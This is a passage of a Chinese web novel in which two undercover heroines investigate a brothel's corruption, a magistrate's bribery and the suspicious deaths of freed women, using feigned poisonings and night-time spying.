应婆将食盒放在桌上,思索一番后回道:“齐兰......知道呀,就是在你之前拿牌子的那位姑娘。” “我前面那个?是不是裙子上还有梅花的那位?”冬苓瞬间想到了那人。 虽然当时未看到容貌,但对于那一闪而过的裙摆却记得很深。 “对,就是她。”应婆笑着应道。 “我得想办法把她捞出来。” 冬苓一边吃包子,一边嘟囔道。 这样的好姑娘,进到三生殿那不是白白被糟蹋了? 应婆听她说这话,低头笑了。 冬苓见状,问道:“阿婆是不是觉得我这话说的不现实?” 应婆摇了摇头,“这儿的姑娘,能够自保已是难于登天,而你却是第一位说要救她们出去的。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第178章 快 被送进三生殿的女子,又有谁不是被家中亲族所连累的? 如此一来便意味着,当她们迈进那扇门的瞬间,身后已然失去了能将她们赎回去的靠山。 这就说明,她们从踏进门的那一刻起,就没有了能把她们赎回去的靠山。 倘若能够跻身于内殿之中,兴许日子还能勉强过得下去。 若是不幸被遣送至外殿,那么在自身所剩价值被彻底榨取干净以前,别妄想能够重获自由之身。 三生殿的院墙比寻常院墙高出许多,即便是借寻常梯子,也翻不过去。 而早在建筑之初,为了杜绝有人妄图逃离此地,更是在墙头之上密密麻麻地插上众多锋利无比的刀片。 “这儿的姑娘可有法子凭自身之力给自己赎身?”冬苓开口问道。 应婆闻声,叹了口气,轻声回:“内殿的姑娘尚有一线生机,只要攒够了赎金,便可脱身而出。” “赎金是多少?” “白银千两。” “一千.....千......千两!!” 冬苓听到这个数字,猛地从凳子上弹跳而起,脸上满是难以置信的神情。 他们接得这个任务才悬赏白银十两! 而且还要由他们五人根据完成任务后的排名来瓜分。 可能最后到她手上也不过一两。 冬苓不免觉得可笑。 就这点儿蝇头小利,还费这么大劲去做什么任务呢? 倒不如索性开间青楼来得痛快些。 当然,前提她是那种视财如命之人。 “那她们在这里可有什么赚钱的法子?” 冬苓随即平复了情绪,缓缓坐下后问道。 听到这话,应婆警惕地朝窗户以及门口方向张望了一番。 在确认周围并没有其他人路过之后,这才将身子微微前倾,并刻意压低嗓音,对冬苓细细讲述起来。 此地之所以划分为内殿和外殿,其原因在于进入这两个地方的门槛不同。 先说这能进内殿的姑娘,首先她就得长得漂亮。 让人一眼见了就心里喜欢,想要为她一掷千金。 当然,若是不善歌舞,不通音律,不懂诗词,那倒也无妨。 毕竟,楼里会为她们请专门的师傅来一一指导。 再说想要进入内殿消费的客人,都会事先去核实其身份背景以及家中财产状况等信息。 只有当所有条件都符合要求并且不存在任何作假问题时,才有资格踏入内殿。 而一旦进入其中,无论是摆放在桌上供其享用的茶水、美酒,亦或是各种精致可口的点心小吃等等,均为上等。 而若要让一个姑娘全程陪同,则需额外缴纳一百两白银。 而事后,只会从这费用里抽出区区五两银子,分给那位辛苦“陪同”的姑娘。 刚进来的女子,大抵怀揣着一颗天真的心,以为只要攒够了银子,就一定能够熬出个头来。 故而,无论让她们做什么,便会乖乖地去做什么,不敢有丝毫的怠慢。 可要是每个人都能这般交了钱离开,那这里恐怕也称不上是什么“吃人”之地了。 要是不小心招惹到客人不悦,不仅要被责罚还会被扣银子。 当然,也不乏有人真的攒够了千两,拿到自己的卖身契。 本以为是苦尽甘来,是重归自由。 可谁曾想,她们在离开三生殿不足一月后便因病去世了。 无一例外。 至于外殿的女子,要么是被“好心人”赎走,要么日后还真有什么一技之长能够让她们进入内殿生活。 否则,哪怕是死,也得死在三生殿。 只可惜,这赎身所需的银两实在是高得惊人,普通人根本无力承担这笔巨款。 而那些有权有势、能够支付得起高昂赎金的达官贵人,对于将她们赎回家中做做小妾之类的事情毫无兴趣。 毕竟,再好的东西日日看也会腻,倒不如花些小钱,想见便见了。 冬苓听完应婆的讲述后,越发讨厌这个鬼地方了。 一百两中,就分给人姑娘区区五两,然后还要再寻个由头扣回去。 好嘛!事儿是姑娘们做的,钱却是进了谈茗聆的腰包。 真是岂有此理! 她得想想办法,不能再耽误时间了。 “阿漓那边如何了?” 冬苓眉头微皱,心中挂念起身处外殿的阿漓。 听到冬苓这么问,应婆不禁笑出声来,赶忙安慰道:“姑娘您尽管放宽心好了,那丫头可机灵得很呢!” 邱漓这厢刚上完茶艺课,才开始用上早饭。 碗里的白粥还未喝到嘴,就打了个大大的喷嚏。 坐在她身旁的姑娘见状,连忙关切地询问道:“夜里寒气重,是不是着凉了?晚上你睡里面好了。” 她俩被分到睡一个房间,一晚上的功夫就混熟了。 十几岁的小姑娘,初来这人生地不熟的地方,若是遇到个志趣相投的,自然会相互依靠、抱团取暖。 再加上邱漓是个能说会道的小话痨,一来二去的,连对方家里的底细情况都打探的一清二楚。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!那姑娘芳龄十六,名曰许尽欢,家中以经营药铺为生。 就在前俩月,一位面容憔悴的婆婆步履蹒跚地走进药铺。 她声称想要抓取几副能够缓解风湿病痛的中药。 彼时,许尽欢正静静地坐在铺子的一角,手中翻阅着一本泛黄的医书。 而她爹则热情地迎上前去,耐心询问那位婆婆除了风湿之外,是否还有诸如失眠、盗汗之类的症状。 待得到否定的答案后,她爹方才放心地点点头。 而后,开出了一张药方,并依照方子为婆婆抓好了相应的药材。 短短数日过后,那位前来抓药的婆婆气势汹汹地再次登门造访,口中不断叫嚷着他们家所售之药乃是假药。 据她所言,自从她家大孙子服用了这些药物没过几天,竟然不幸夭折离世! 许尽欢清楚的记得那天发生的事情,那婆婆分明说的是她自己身体不适,怎得一转眼就变成了她孙子? 更何况,她们家向来诚信经营,所用药材皆是经过严格筛选,绝无可能出现假药一说! 可是任凭许家如何辩驳解释,衙门最终还是不由分说地将她父母双双抓走了。 衙门给出的回复是,他们在剩余的药渣当中发现了端倪。 其中有一味本该是五加皮的药材,然而在实际的药渣之中以及尚未喝完的药包里,呈现出来的却是与之极为相似的香加皮。 虽说这两者在外观形态上相差无几,但药效却不尽相同。 五加皮并无毒性,而香加皮却是含有毒性。 即便是身强体壮的成年人,在使用时亦需格外留意剂量的把控。 更何况是一个未满六岁的孩童? 于是,这起案件从最初的售卖假药事件,陡然间演变成了一起令人发指的谋杀大案! 当即就判了许家的罪。 许尽欢觉得这案子一定有所隐情,所以她恳求衙门能重查此案,却被他们拒绝了。 甚至还恶狠狠地威胁许尽欢,如果她继续这样纠缠不休,就要以妨碍公务的罪名来惩治她。 许尽欢心中愤愤不平,怎得伸冤一事到他们嘴中就成了胡搅蛮缠? 他们难道不是父母官吗? 难道不应该秉持公正、为民做主吗? 怀着满心的委屈和不甘,她去要了一趟郑县令的府邸,希望能当面说服他重新彻查许家药铺的案子。 起初,郑县令对于许尽欢的苦苦哀求显得无动于衷。 后来,不知又想到了什么,突然改变了主意。 最后才松口,说是重新调查此案也未尝不可。 只是,需要一笔费用,用于差役们的开销以及其他相关事宜。 许尽欢心想,只要能还她父母一个清白,花些钱财也是值得的。 他要,她便给了。 可数日后,当她满怀期待地再次找到郑县令时,得到的却是一个令人绝望的答复。 即使最终调查清楚事实真相,也无法释放被关押之人。 最多只能将原先判定的谋害人命罪改为售卖假药之罪。 也就是说,死罪可免,活罪难逃。 因为许家根本无法证明当初所售出的药物就是正确无误的。 除非她能够设法与受害人家属协商沟通,让他们主动撤销此案,否则一切都无从改变。 听闻此言,许尽欢如遭雷击,整个人都瘫软在地…… 后来,她收拾好情绪,去找当初报案的那个婆婆。 但人却说,她孙子没了,就等于家里的命根子就没了,怎么着都不愿意撤案。 然而,事情并非完全没有转圜的余地。 孩子的父亲悄悄告诉她,如果她能够拿出一笔赔偿金来,或许此事还能有商量的空间。 许尽欢闻言,面露难色。 许家的药铺早已被查封,家中原本为数不多的钱财,在案件重新调查阶段便已尽数交给了郑县令。 此时此刻,哪里还有多余的银两拿来赔偿? 就在她感到走投无路之际,郑县令出现在她面前,说有人愿意借给她钱。 当务之急,不是应该考虑可不可信一事。 而是应该先把赔偿金给了,让他爹娘回家休养一下身子。 到时候店铺重新开张,再慢慢地偿还欠款也为时不晚。 许尽欢当时没有那么多的思绪去考虑这几日发生的事情。 救命稻草就在前面,抓不抓只在她一念之间。 所以,她信了。 钱,她也借了。 本以为这事儿就算过去了,她在家收拾好屋子,一心盼着爹娘回来。 可等到晚上也未看到他们的身影,人还未行至衙门就听到了噩耗。 她听路人说,许家夫妇今早儿死在了狱中。 原因是畏罪自尽了。 她的爹娘回不来了,她借的钱也填不满了。 面对债主日复一日的逼迫与威胁,身心俱疲的她被强逼着送到了三生殿。 许尽欢曾无数次想要追随爹娘而去,结束痛苦的生命。 但每当想到那些不公与冤屈,内心深处的不甘便如同烈火一般烧灼着她。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!她不甘心。 她若是就这样死了,那爹娘所受的冤屈就真的无一人记得了。 “没着凉。”邱漓用力地吸了吸鼻子,声音略微带着一丝鼻音回答道。 “那是怎么的?” “大抵是阿姐想我了。” “你还有个姐姐?” “昂,我不仅有姐姐,我还有哥哥呢。” 邱漓扬起小脸,脸上洋溢着一抹得意之色。 许尽欢听闻此言,不禁皱起眉头,好奇地问道:"既如此,那你为何会来到此地?难道他们都不救你吗?" “就是他们让我来的。”邱漓轻描淡写地回。 “啊?那你也太可怜了吧。” 许尽欢瞪大了眼睛,满脸同情地看着邱漓。 一边说着,她一边将自己盘子里为数不多的肉丝夹起来,放到邱漓的碗中。 她之前还幻想过,如果自己家中能够有个兄弟姐妹该多好啊。 药铺出事之时,大家可以围坐在一起商讨应对之策。 然而此刻看到邱漓的境遇,她觉得就算有兄弟姐妹,也未必都是好事。 瞧瞧,一旦出了事端,不还是会被推出来承担责任? “给我干什么呀?你多吃些!” 邱漓这会儿还不知道许尽欢误会了,赶忙把肉夹回去。 但被许尽欢拒绝了,执意要让邱漓多吃一些。 “快点吃吧,等吃完饭还要赶着去见乐师呢。” 许尽欢一边说着,一边往邱漓碗里又添了些菜。 邱漓嘴里虽然答应着,但心思早已飞到九霄云外去了。 她满脑子想的都是如何才能跟那个名叫谈茗聆的说上几句话。 她和冬苓来到此地,真正目的便是要查清楚三生殿与云启坊之间暗中勾结的事情。 而其中最为关键的,还要找到郑县令受贿的证据。 她们必须要赶在南宫珩抵达玉饶县之前,尽可能多地收集线索。 只有这样,才有可能一举揭露这些人的罪行,给予他们致命一击! 可她这从早到晚的都有人盯着,根本找不到可以单独行动的机会。 想起昨天晚上训话的那个龟公,邱漓心中不禁一阵烦闷。 那人告诉她们,三生殿可不是普通粗俗的妓院,并不是只要给点钱就能随便进去的地方。 他还宽慰她们不必担心,因为东家并不期望她们靠出卖色相来取悦客人。 她一口气还未呼出,就又听到那人的声音传来。 说她们日后不仅要能歌善舞,还要会品诗作曲,最主要的是懂得讨客人欢心。 邱漓听到这番话后,忍不住当场翻了个大白眼。 真是除了不要脸以外,旁的都是既要又要! 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第179章 乐 不过,那人昨天站在谈茗聆身后,想必同应婆身份一样,都是在这三生殿能说的上话之人。 而且,从他跟谈茗聆的交流方式来看,相较于另外两位,似乎他更深得东家的信任。 若是想查线索,那么无疑从此人身上着手更迅速一些。 早知道这里事儿那么多,当初就不以身做饵了。 她跟苓儿一个留在三生殿,一个在外行动,如此配合,或许不会那么被动。 如今倒好,俩人都进来了,就连想要见上一面也并非易事。 念及此,邱漓不免叹了口气。 得想个法子。 “你说,那王八上午会来吗?”邱漓小声问向身旁之人。 “嘘!可不能这么称呼他。” 许尽欢赶忙伸出食指放在唇边,做出噤声的手势。 同时,瞪着那双大眼睛左顾右盼一番。 待确定这番话语并未被他人听见之后,方才如释重负般地长长舒出一口气。 邱漓见状,轻哼了一声,满不在乎地回应道:“反正他又听不见,我称他为王八已经算是相当客气了。” “还有更不客气的?” “对啊,鳖孙儿。” 邱漓扬起下巴,笑着看向许尽欢,略有几分得意之色。 听闻此言,许尽欢先是微微一愣,随即忍不住笑出声来。 她将口中尚未咽下的米粥匆匆吞咽下肚,对着邱漓默默地竖起了大拇指。 这词她还是同洵哥学的呢,虽然锦哥老说太过粗俗。 可粗俗又怎么了?她本就不是大家闺秀。 对啊!她不是大家闺秀啊! 哎嘿! 邱漓想到了好法子。 待用过饭,二人结伴去了清音居。 这地方布置得典雅精致,光是站在门口就闻到了淡淡的熏香。 屋内摆放着各种乐器,如琵琶、古筝、二胡等。 目光转向一旁的墙壁,几幅精美的书画悬挂其上,墨香四溢,增添了几分文雅之气。 视线落在最前方的古筝前,那里端坐着一位女子,气质高雅,风姿绰约。 邱漓认为,这女子应当就是殿里特意请来教导她们的乐师。 没过多久,一个身影缓缓朝着这边走来,正是邱漓口中的那个“鳖孙儿”——向肖望。 他大摇大摆地径直走向乐师身旁,然后大大咧咧地坐下,并向乐师示意可以开始授课了。 坐在旁边的禤宜见状,默默不语地往左边稍稍移动了一下身体,随后轻声回应道:“好。” 乐室里回荡着她温柔的声音,让人听起来十分舒服。 她说女子应时刻注意自己的身姿仪态,尤其是在演奏时,更要一直保持优雅的姿势。 然而,正当她想要继续往下详细讲述的时候,突然身子猛地一顿。 随即,脸上露出无奈的笑容,转头对着一旁的向肖望说道:“大人,劳烦高抬贵手。” 邱漓听到这句话,好奇地歪过头去看个究竟。 这不看不知道,一看顿时气得火冒三丈。 只见那鳖孙竟不知羞耻地将一只手放在禤宜的大腿上。 难怪他坐下去的同时,禤宜会请挪一下自己的位置。 但眼下只能握紧拳头,反复告诉自己还不是时候,再忍忍。 向肖望抬起手,转而做了个请的手势,示意禤宜继续。 可禤宜并不放心他,于是缓缓站起身来,选择边走边讲。 “弹奏古筝时,要坐的端正,身体微微前倾,肩部自然下垂。” 待踱步至邱漓身前时,只见那丫头低垂着头,轻轻地咳嗽了一声。 禤宜心下略感担忧,忙不迭地投去关切的目光。 邱漓察觉到禤宜的视线,急忙抬起头来,露出一抹勉强的笑容。 随后连连摆手,示意自己并无大碍。 禤宜见状微微颔首,表示知晓,而后接着方才的话讲下去。 她先是同众人介绍了古筝的各种类型及其构造,随后又耐心阐述了制作琴弦所使用的原材料。 然而,就在她再次行至邱漓身旁之际,留意到这姑娘的面色有些不太对劲。 此时的天气虽说不上酷热难耐,但邱漓脸颊上却布满了细密的汗珠。 与方才所见之模样截然不同。 正当禤宜准备再询问一番时,邱漓突然双手捂住嘴巴,如疾风般朝着放置秽物桶的方向狂奔而去。 紧接着,便是一连串的呕吐声传来。 距离秽物桶最近的向肖望,被这突如其来的状况惊得目瞪口呆。 他下意识地用手紧紧捂住鼻子,迅速转过头去,仿佛多看一眼都会让自己难以忍受。 心中不禁暗自思忖:这姑娘今早究竟是吃了些什么东西? 尚未等向肖望细想其中缘由,便瞧见邱漓摇摇晃晃地站起身来。 谁知才刚迈出两步,那种翻江倒海的感觉再度袭来。 于是,她只得慌慌张张地转身往回跑。 慌乱之中竟一个不留神,脚下一滑,整个人重重地摔了下去。 更糟糕的是,由于惯性使然,她直接将胃中的秽物吐在了近在咫尺的向肖望身上。 本小章还未完,请点击下一页继续阅读后面精彩内容!“这……这这……哎呀呀!这……哎呀!快来人呐!” 向肖望望着满身污秽、狼狈不堪的自己,顿时惊慌失措地大声呼喊起来。 那脸上的表情甭提有多嫌弃了。 本想让那丫头离自己身旁远点儿,可人竟然已经晕过去了。 向肖望见状,也快气晕了。 若是旁边有个刀,或许他真的会拎刀泄愤。 这不,向肖望转过头,一眼瞥见放在古筝旁边的一支笛子。 他的眼神顿时一亮。 刚想拿起来去教训邱漓的时候,被禤宜眼疾手快的抢在手中。 只听禤宜不紧不慢地说道:“姑娘们,这笛子也是我们日后要学习的乐器,大家在学习吹奏之前,最好都抽时间练一下自身的气息哦。” 话音未落,没过多久,宫殿里的郎中和小厮们纷纷急匆匆地赶到了这里。 那位郎中快步走到昏迷不醒的邱漓身边,伸出三根手指搭在了她的手腕处认真地号起脉来。 然后这人露出了疑惑地表情,似乎有些不确定。 他又看了眼邱漓的口鼻处,加深了自己的诊断。 于是,转身对着向肖望拱手回禀道:“启禀大人,这位姑娘应该是中毒所致。只是......” 向肖望还未听完后面那句话,就提高嗓音问道:“中毒?” “没错,只是目前还不清楚到底中的是什么毒,以及这种毒素究竟是通过何种途径进入她体内的。” “不过依下官之见,不妨先询问一下她今早都吃过些什么食物。”郎中连忙解释道。 听到这里,许尽欢急忙跨步向前,一脸焦急地回应道:“今天她一直与小女在一起,期间仅仅食用了厨房准备的饭菜,除此之外再没有碰过其他东西。” 此话一出,屋内瞬间炸开了锅。 才刚刚进入三生殿的第二天,连吃个简单的早饭都会中毒,那往后的日子可怎么过? “先把她送去回躺着吧。”禤宜吩咐一旁的小厮。 那小厮却并未立刻行动,而是有些犹豫地抬起头来,目光投向了向肖望。 他不发话,他们这些下人可是不敢轻举妄动、随意动手抬人的。 再看向肖望,他满脸嫌恶地朝着那些人摆了摆手,像是在驱赶讨厌的苍蝇一般。 不耐烦地说道:“动作快点儿!赶紧把这人给我弄走!看着就心烦!” 许尽欢见此情形,担心邱漓会出事儿,便抬脚准备跟着一同前往照看。 谁知她刚迈出两步,就被向肖望伸手拦了下来。 只听向肖望怒喝一声:“站住!你凑什么热闹?我让你走了吗?” 许尽欢赶忙解释道:“大人,我与她同住一间屋子,我想在一旁照顾着些。” 向肖望闻言,眉头紧紧皱成一团,烦躁地发出“啧”的一声。 而后,没好气地骂道:“她是你爹还是你娘?用得着你照顾?指不定以后你俩还得去伺候一个人呢,赶紧给我滚回去坐着!少给老子添乱!” 这话听得禤宜实在是忍无可忍,忍不住狠狠地白了向肖望一眼。 随后,她移步到许尽欢身边。 伸出一只手轻轻地拍了拍她的肩膀,又温柔地摸了摸她的后背。 安慰许尽欢先回去坐好。 邱漓刚躺床上没一会儿,就微微眯开一只眼睛,打量起四周的环境。 他们并没有把她送回卧房,而是听郎中的吩咐,送到了三生殿的药房。 方才为她诊治的那位郎中,眼下正坐在不远处熬药。 邱漓不动声响地将手垂放在床沿一侧,接着,一只通体碧绿的小虫子从她袖中钻了出来。 它的目标十分准确,飞快的跑向郎中。 不出片刻,便跑到郎中脚下,而后顺着鞋跟处慢慢向上攀爬,最终钻入了耳朵里。 那郎中一开始并未觉察到异常,但很快,一阵轻微的瘙痒感从耳部传来。 他下意识地伸出手指去掏弄耳朵,可为时已晚。 突然身子一歪,毫无征兆地摔倒在地。 邱漓听到声响,并没有急着起身,而是耐心地等了一会儿。 直到确定那人真的昏睡过去了,她才慢悠悠的下了床。 可刚迈出两步,又觉得此举不太妥当。 若是有人恰好在这期间闯进来,看到眼前这个倒地不起的老头儿,定然会心生疑虑。 想到这里,邱漓咬咬牙,决定先将他安置好再说。 于是,她又卯足了劲儿将那郎中拖到床边儿,想把他抬到床上去。 可她实在是没力气了,只得气喘吁吁地瘫坐在一旁。 早上应该多喝一碗粥的。 不对,方才应该少吐一些的。 真是便宜那鳖孙儿了。 刚想起身,打算一鼓作气将人抬上去的时候,听到了一阵轻微的动静。 这是有人踩在瓦片上的声音。 不好! 邱漓心中一惊,赶忙找个了稍微隐蔽的地方躲起来,然后抬头向上望去。 只见头顶上方的屋顶处,有一块瓦片出现了些许松动。 这章没有结束,请点击下一页继续阅读!接着,那片瓦被一只纤细的手移开,一道缝隙逐渐显现出来。 一双明亮而灵动的眼睛正向下窥视着。 欸?这眼睛似乎有些熟悉啊。 就在这时,邱漓与那双眼睛的主人目光交汇在了一起。 一时间,二人都愣住了。 冬苓看到屋内站着邱漓时,赶忙用手势问道:“下方可有人?” 邱漓摇了摇头,示意她可以放心进来。 二人终于碰了面。 冬苓一脸疑惑地看着邱漓,率先开口问道:“你怎么在这儿?” “没事儿,就是中了个毒被抬进来了。” 说完,她好奇地看向冬苓,反问道:“你呢?” “巧了么不是,我也是靠中毒才得以脱身。” 话落,冬苓将目光投向床边那位正在昏睡的郎中。 俩人相视一笑,十分默契的朝那人走过去。 先是将将人抬上了床,后又贴心的给他盖了被子,最后才想起来房门还敞着。 于是,又赶紧转身去将门合上。 “你怎么中的毒?锦哥之前做的那款?”邱漓皱起眉头,关切地追问道。 冬苓闻言,忙不迭的点了点头。 秦在锦前阵子研制一款毒药,此毒药性看似猛烈至极,实则都是表面功夫。 只需服下一粒,不出一盏茶的短暂工夫,中毒之人便会口吐白沫,身体不受控制地剧烈抽搐。 当然,不足之处就是解药发挥作用所需的时间较长。 中毒者在服下解药半个时辰后,体内毒性方能逐渐得到抑制并最终趋于稳定。 冬苓这也是没别的办法了。 若是伪装成跌打损伤之类的病症,稍有经验的郎中只消看上一眼便能轻易识破其中破绽。 相较之下,用中毒这一手段则要巧妙得多。 这老头当时还要派人抬她过来,但被那梦娘拦下了。 她才不愿意瞧见冬苓被治好呢。 巴不得她自己病死在屋内。 一旁的邱漓轻声呢喃道:“难怪……” 方才那郎中在替她诊治过后,曾莫名其妙地说了一句“只是”。 不过,好在被向肖望及时打断了。 她当时还以为是郎中看穿了她的那些小把戏呢。 现在想来,定是因为在看她之前,就已经去瞧过冬苓了。 而眼下居然又出现一个中毒之人,且二者还在差不多的时辰内发病。 如此巧合之事,自然让那郎中心生疑虑。 “这下可不太好。” 冬苓紧蹙着细眉,在想一会该如何解释才能让人听起来合理一些。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第180章 青 “中毒的可不止我们俩个哦。” 邱漓此刻笑的一脸蔫坏儿,那模样简直和江洵如出一辙。 不得不说,在某些方面,她真是跟江洵学了十成十。 “怎么?还有别人?” “我被抬来之前,故意靠近向肖望,往他身上放了些东西,约莫再过半个时辰,他就该派人来请郎中喽。” 冬苓听后,微微颔首,“如此一来,大家的焦点便会转移到他身上去。” “对!” 邱漓打了个清脆的响指,随后话锋一转,好奇地问道:“话说回来,你怎么来这儿了?” “应婆曾说,凡是从三生殿离开的姑娘们,没有一个能活得过一个月。” “所以我就想来这药房查查,看看能不能找到一些线索啥的。” “才一个月?死状呢?” 冬苓轻轻摇了摇头,叹息一声:“她也只是晓得这些姑娘都没了性命,但具体是怎么个死法儿,她并不知道。” 而且,她们的尸体被人发现之时,大多都腐烂发臭了。 没有人愿意花费精力和时间,去为一个素不相识的陌生人追查死因。 “这么多种药材还有药丸,你得找到什么时候?” 邱漓一脸无奈地望着眼前这一屋子堆积如山的瓶瓶罐罐。 冬苓闻言,苦笑了一声,反问道:“你呢?可有发现什么奇怪之处?” 邱漓眼睛一亮,连忙回答说:“我想从向肖望那下手,他身上绝对能挖出些东西来。” 冬苓出言提醒道:“但他未必会留宿在此。” 言外之意,就算是有什么证据,也不会将它藏在这里。 三位管事平时若无特别事务缠身,大多数情况下都会回到自家居住,很少会选择在这厢房中过夜。 而昨日,她俩就是在应婆家门口等的她。 “既如此,那晚上我再找机会溜出去。” “你知道他家在哪吗?你就溜出去。” “欸,活人还能被尿憋死?我一路跟踪他,总能找到他家!”邱漓回道。 冬苓看着邱漓这满不在乎的神情,不禁感到头疼。 这丫头怎么总是这般风风火火的? 思索片刻后,她开口说道:“你先不要擅自行动,我先去应婆那打听一下他的住处,晚上一起。” 邱漓小声地嘟囔着:“两个人一起,目标太大了。” “两个人一起,多一双眼睛。” “好吧,听阿姐的。” 少女笑着回道,露出洁白的牙齿。 由于时间紧迫,二人没敢再继续耽搁。 于是,在商量好后,暂时分道扬镳。 一个留在药房内,继续查找东西。 一个则趁机前往向肖望在此地的厢房。 冬苓曾经询问过应婆,内殿的姑娘每月可有什么固定的吃食或着用品? 应婆思索片刻后,回答道:“除了每月必服的避子汤之外,并没有其他任何东西是按照固定时间来让姑娘们服用的。” 她们的死绝对不是意外。 一个月的时间,不长不短,让人难以捉摸其背后真正的死因。 究竟是在每个月都会饮用的避子汤中做了手脚,还是在离开三生殿之前给他们下了毒? 不过仔细想来,后面这种可能性似乎并不大。 毕竟能够成功换回自己卖身契从而得以脱身的人,无一不是头脑聪慧之人。 即便是到了最后一天,她们也定然不会轻易放下戒备之心。 不管是入口的食物还是日常所用之物,想必都会加倍小心谨慎。 那么问题很有可能就出在了避子汤上面…… 避子汤…… 冬苓口中喃喃自语着。 麝香、红花、牛膝、川芎...... 得亏昨天夜里多嘴问了一下秦在锦,否则她现在绝对像个无头苍蝇一般翻来找去。 这几味药材摆放的位置挨得比较近,但其中有一味却引起了冬苓的关注。 那是一些已经炼制完成的药丸,被整整齐齐地放置在一个托盘之中。 这些药丸怎么会被放在这里? 它的同类不都整齐划一地摆在另一个柜子中么? 满心狐疑地冬苓顺手“借”了两颗,并迅速用手帕将其包裹妥当。 心想算算时辰,向肖望差不多也该派遣人手前来请郎中了。 她移步走到床前,吹了个口哨。 没过多久,一条小小的虫子便从郎中的耳朵慢悠悠地爬了出来。 冬苓把邱漓之前交给她的那个小葫芦,轻轻放在地面上。 它似乎是嗅到葫芦内部散发出的香气,一溜烟儿地顺着气味朝着葫芦口飞奔而去。 她这边刚带着蛊虫离开,那边就听到一阵急促而慌乱的敲门声传来。 只见一名小厮正满脸焦急之色,匆匆忙忙地赶来叩门。 郎中拖着沉重的脚步朝门口走去,意识还有些模糊不清。 他甚至来不及开口询问自己究竟是在何时晕倒的,便被小厮紧紧拽住胳膊,拉着他一路疾行而去。 冬苓此时正站在暗处,目光紧随着那二人渐行渐远的身影。 这章没有结束,请点击下一页继续阅读!确定他们前行的方向是朝着肖望初所在之处后,心中稍稍安定了一些。 也不知邱漓那丫头查的怎么样了。 另一边厢,向肖望起初认为邱漓中毒纯粹只是她倒霉。 毕竟大家都吃在同一个地方用的早饭,怎得偏就她一人中毒了。 可轮到自己的也吐个不停的时候,他才觉得那厨房有问题! 一边吩咐手下人去请郎中过来,一边又派人去查查厨房今日是谁做的饭。 “给我狠狠地查!!务必要将此事查个水落……” 话尚未说完,一阵强烈的恶心感再度涌上心头。 令他不得不再次抱紧身边的秽物桶,哇哇大吐起来。 这桩突如其来的食物中毒事件瞬间传遍了整个三生殿,闹得人心惶惶。 一直到了晌午,都没几个人敢去用饭,宁愿吃些糕点应付一下。 谈茗聆用帕子掩住口鼻,走进向肖望的厢房。 只见那向肖望无力地瘫倒在床上,嘴里仍在喋喋不休地咒骂着什么。 谈茗聆侧耳倾听,当那些不堪入耳的污言秽语传入她耳中之时,不由得秀眉微蹙,面露不悦之色。 “行了,中毒的又不止你一个。” 谈茗聆白了他一眼。 “我跟她们能一样吗?怎得偏偏三个管事里就我一人中毒了?这算什么?” “算你倒霉。”谈茗聆没好气的回道。 向肖望顿时哑口无言。 这若是旁人敢这样对他说话,恐怕早就被他狠狠揍上一顿以解心头之气。 可这是谈茗聆,是他“衣食父母”。 纵有再多不满,也只能忍着。 想到这里,向肖望不由得懊悔不已。 他今天就不该去乐坊,简直是诸事不顺。 “今晚若没啥事儿的话,你且回去歇着吧。” 话音未落,谈茗聆便霍然站起身来,头也不回地转身离去。 这屋内味儿太冲了,她闻着头晕。 主要还是熏着了。 夜色如墨,邱漓紧了紧身上的夜行衣,贴着墙根快速移动。 而紧跟其后的冬苓同样一身黑衣打扮,寸步不离地跟在邱漓身后。 二人悄无声息地摸到了向肖望住所的后院。 白日里,冬苓寻着机会找到应婆,打算从她那打听到向肖望的住处。 但应婆却面露难色。 向肖望宅子多,她无法确定今晚那人会选择在哪一处过夜。 “不过,有一处宅子他去的比较勤,你可以去看看。” 这宅子建在郊外,与三生殿的热闹截然不同,安静得有些诡异。 “小心些。”冬苓压低声音,“我总觉得这里不太对劲。” 邱漓点点头,从头上摸出一细长的铁丝,熟练地撬开了后门的锁。 这开锁的本领,还是他们霖哥教的呢。 木门发出轻微的"吱呀"声,在寂静的夜里格外刺耳。 邱漓屏住呼吸,等了一会儿,确定没有惊动任何人,才闪身进了院子。 月光透过窗棂,在地上投下斑驳的影子。 二人悄摸儿地移动,突然听到前院传来脚步声。 “有人!” 冬苓一把拉住邱漓,两人迅速躲进廊柱的阴影里。 脚步声越来越近,伴随着低沉的交谈声。 邱漓竖起耳朵,隐约听到"银子账本"之类的词。 她的心跳突然加快,手心渗出细密的汗珠。 两个身影从廊下走过,月光照亮了他们的脸。 邱漓瞳孔猛地收缩——其中一人是向肖望,另一人赫然穿着衙门的官服! “果然有问题。” 冬苓在她耳边轻声说,温热的气息拂过耳畔。 等两人走远,邱漓示意冬苓跟上。 她们蹑手蹑脚地来到书房外,透过窗缝,看到向肖望谄媚地笑着,从怀中掏出一个鼓鼓的荷包。 那捕快接过荷包掂了掂,满意地点头:“放心,上头都打点好了。不过最近风声紧,你们行事要小心。” 邱漓轻轻推了推冬苓,示意她瞅瞅那人的嘴脸。 在三生殿的时候拽的跟旁人都欠他钱似的,如今却一副伏低做狗的样子。 真是让人作呕。 恰在此刻,一只小巧玲珑的鸟儿轻盈地飞落至窗边。 它先是歪着头好奇地打量了一下四周,然后啄起窗台上摆放着的花盆来。 随着它不断地啄击,花盆发出一声声轻微而又清脆的响动。 “谁?”捕快猛地转身,锐利的目光直射向窗外。 冬苓顿时觉得一阵无语,这鸟早不停晚不停,非得这个时候停下来。 真是成事不足败事有余! “走!”邱漓低喝一声,拉着冬苓就往院墙跑去。 身后传来急促的脚步声和呼喊声。 两人翻过院墙,在狭窄的巷子里狂奔。 邱漓能听到自己的心跳声,还有身后越来越近的追兵。 “分开跑!”冬苓突然说。“我去引开他们!” “那我趁机绕回去。”邱漓回道。 冬苓刚想问她为何还要回去的时候,突然想到她既然将人引走了,那么此时向府的注意力定然都在她这儿。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!邱漓选在这个时间回去,或许还真的可行。 毕竟,最危险的地方就是最安全的地方。 “那你小心些。”冬苓回头叮嘱道。 “好!” 听到邱漓的答复,她才拐进另一条巷子。 身后的脚步声却越来越近。 就在她以为自己逃不掉,打算召出碎月同他们打一场的时候。 一只大手突然从黑暗中伸出,将她拉进了一处门洞。 "别出声。" 低沉的男声在耳边响起,带着一丝慌乱。 